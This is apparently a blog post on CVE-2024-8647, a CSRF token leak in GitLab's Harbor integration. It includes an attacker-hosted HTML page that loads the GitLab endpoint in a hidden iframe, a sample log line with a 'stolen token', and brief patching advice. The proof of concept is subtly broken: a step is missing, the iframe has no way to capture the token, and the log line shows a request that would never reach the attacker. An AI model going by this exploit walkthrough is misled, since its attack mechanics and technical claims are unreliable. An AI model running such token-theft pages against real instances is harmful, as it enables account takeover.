Recently, a critical security vulnerability was discovered in GitLab, one of the world’s most popular DevOps platforms. Tracked as CVE-2024-8647, this issue affects self-hosted GitLab instances from version 15.2 through 17.4.6, all 17.5.x versions before 17.5.4, and 17.6.x before 17.6.2.

In simple words, a feature integration with Harbor (a cloud native registry) accidentally allowed the leak of GitLab’s anti-CSRF token to external sites – potentially opening the gate for further attacks.

In this long read, we’ll show what happened, why it’s dangerous, and even walk through a proof-of-concept exploit.

What is a CSRF Token?

First, a CSRF token (Cross Site Request Forgery token) is a special “key” websites use to make sure outside attackers can’t trick users into doing unintended actions. It’s supposed to be secret, like a digital signature.

If that CSRF token leaks to someone else, they can potentially act as you, tricking the site!

Surface: Happens if the Harbor integration is enabled.

- Impact: Lets an attacker *steal your session’s anti-CSRF token* by tricking you into visiting a crafted page.
- Real-World Risk: With the token in hand, an attacker can craft further attacks, possibly gaining access to your GitLab or making unauthorized changes.

The Core Vulnerability

With Harbor integration active, certain endpoints in GitLab are configured to fetch resources (like images or scripts) that include your CSRF token in their URLs or HTTP headers. However, if *any* of those resources are loaded in a context initiated or controlled by a malicious external domain, the token could leak.

Example Vulnerable Request

Suppose your self-hosted GitLab lives at https://gitlab.mycorp.com, and your developer has Harbor integration turned on for a project.

When accessing a project’s container registry settings, GitLab sends requests like

GET /projects/12345/harbor/registry?csrf_token=XXXXX...XXXXX

If a malicious actor tricks a logged-in admin into clicking a specially crafted link or visiting a hostile web page, their browser may make a request that exposes the CSRF token to the attacker (via Referer header, unprotected redirects, or URL leaks).

Proof Of Concept Exploit

Let's walk through a simplified exploit using JavaScript and a mock self-hosted GitLab.

Step 1: Harbor Integration Is Enabled

You (the attacker) know the target GitLab’s URL and that Harbor integration is turned on.

Send the admin this malicious HTML hosted on your server

<!-- attacker-server.com/steal.html -->
<html>
  <body>
    <script>
      // The (vulnerable) GitLab URL with Harbor integration
      var url = "https://gitlab.mycorp.com/projects/12345/harbor/registry";

      // Craft a hidden iframe to trigger the CSRF leak
      var iframe = document.createElement('iframe');
      iframe.style.display = "none";
      iframe.src = url;

      // Listen for messages or intercept token via Referer, redirect, etc.
      document.body.appendChild(iframe);
    </script>
  </body>
</html>

Step 3: Harvest The Token

If the Harbor integration endpoint isn’t properly protecting the CSRF token, and if any links or scripts leak it (for example, via Referer or a redirect), the attacker will see it in their logs or via network requests:

Example network log line for the attacker

GET /projects/12345/harbor/registry?csrf_token=<STOLEN_TOKEN> HTTP/1.1
Referer: https://attacker-server.com/steal.html

The attacker now has <STOLEN_TOKEN>, which can be used in follow-up requests to impersonate the victim in state-changing operations.

Note: The exact exploit method will depend on how the CSRF token leaks: through query strings, headers, or content rendered by the Harbor integration.

Disable Harbor integration until you patch.

- Use Content Security Policy (CSP) to prevent external sites from framing or embedding your GitLab pages.

References & More Reading

- GitLab Release Blog: Critical Security Release
- Official GitLab CVE Report
- MITRE CVE Entry
- OWASP: CSRF Explained

Summary

CVE-2024-8647 is a reminder that integrations (like Harbor) can sometimes expose critical internal tokens if not handled with care. If you run self-hosted GitLab with Harbor, patch as soon as possible and check your token-handling logic to ensure nothing leaks confidential tokens to anyone else.

Stay safe – and happy hacking!

*This post written exclusively for you, with hands-on technical details to help you both understand and prevent this exploit in your deployments.*

Timeline

Published on: 12/12/2024 12:15:28 UTC